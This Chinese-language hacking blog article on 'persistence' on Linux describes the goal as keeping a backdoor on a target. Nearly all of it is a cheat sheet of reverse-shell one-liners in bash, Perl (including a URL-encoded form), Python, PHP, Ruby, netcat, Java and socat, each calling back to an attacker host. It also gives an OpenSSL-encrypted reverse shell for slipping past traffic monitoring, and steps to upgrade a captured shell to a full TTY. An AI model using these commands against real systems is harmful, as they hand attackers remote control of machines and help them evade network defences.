黑客大神告诉你:Linux下的权限维持

0X00 关于权限维持 
 

黑客大神告诉你:Linux下的权限维持

文章插图
 
什么是权限维持?我们可以直接简单的把权限维持理解为我们在目标上安装了一个后门 , 权限维持的目的是保证自己的权限不会掉,一直控制住目标.
0X01 获得初始权限linux有很多种反弹shell的方法,反弹shell的好处主要是操作过程中会更加方便,对我个人来说,主要是命令补全,总之,从权限维持的角度来说,可以更好的去执行一些操作.
能否反弹shell,要根据目标的环境来尝试,有可能bash无法直接反弹,但是Python却可以成功,还要注意白名单问题.
实验环境准备直接用Kali,记得做好快照.
Bashbash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
参考资料: bash反弹shell原理解析 https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
Perlperl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
URL-Encoded Perl: Linuxecho%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Pythonpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
phpphp -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Rubyruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat without -e #1mkfifo函数只是创建一个FIFO文件 , 要使用命名管道将其打开 。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
JAVAr = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]); p.waitFor();
Xtermxterm -display 10.0.0.1:1
Exec0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
思考:假设渗透过程中,发现目标环境无法反弹shell,最后测试得出只开放了80和443.通过白名单反弹shell时又发现流量被拦截了,如何应对这种情况?
可以尝试通过加密数据包的方式来逃避流量监控设备.
第一步: 在VPS 上生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步: VPS 坚挺反弹 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步: 连接:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
获得shell
黑客大神告诉你:Linux下的权限维持

文章插图
 
但这时你会发现,这个shell不太好用,没有基本的命令补全.
解决方法:
python -c 'import pty; pty.spawn("/bin/bash")'
pty是一个伪终端模块
pty.spawn(argv[, master_read[, stdin_read]])
产生一个进程 , 并将其控制终端与当前进程的标准io连接 。这通常用于阻挡坚持从控制终端读取的程序 。
函数 master_read 和 stdin_read 应该是从文件描述符读取的函数 。默认值尝试在每次调用时读取1024字节 。
在 3.4 版更改: spawn() 现在从子进程的 os.waitpid() 返回状态值
有时候提权以后终端也是会出现类似问题,一般这个方法可以解决.
或者参考后面的链接
socatsocat file:`tty`,raw,echo=0 tcp-listen:9999
把socat上传到目标机器上 , 然后执行:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
也可以得到一个交互式shell
知识点来源于
将简单的shell升级为完全交互式的TTY https://www.4hou.com/technology/6248.html


推荐阅读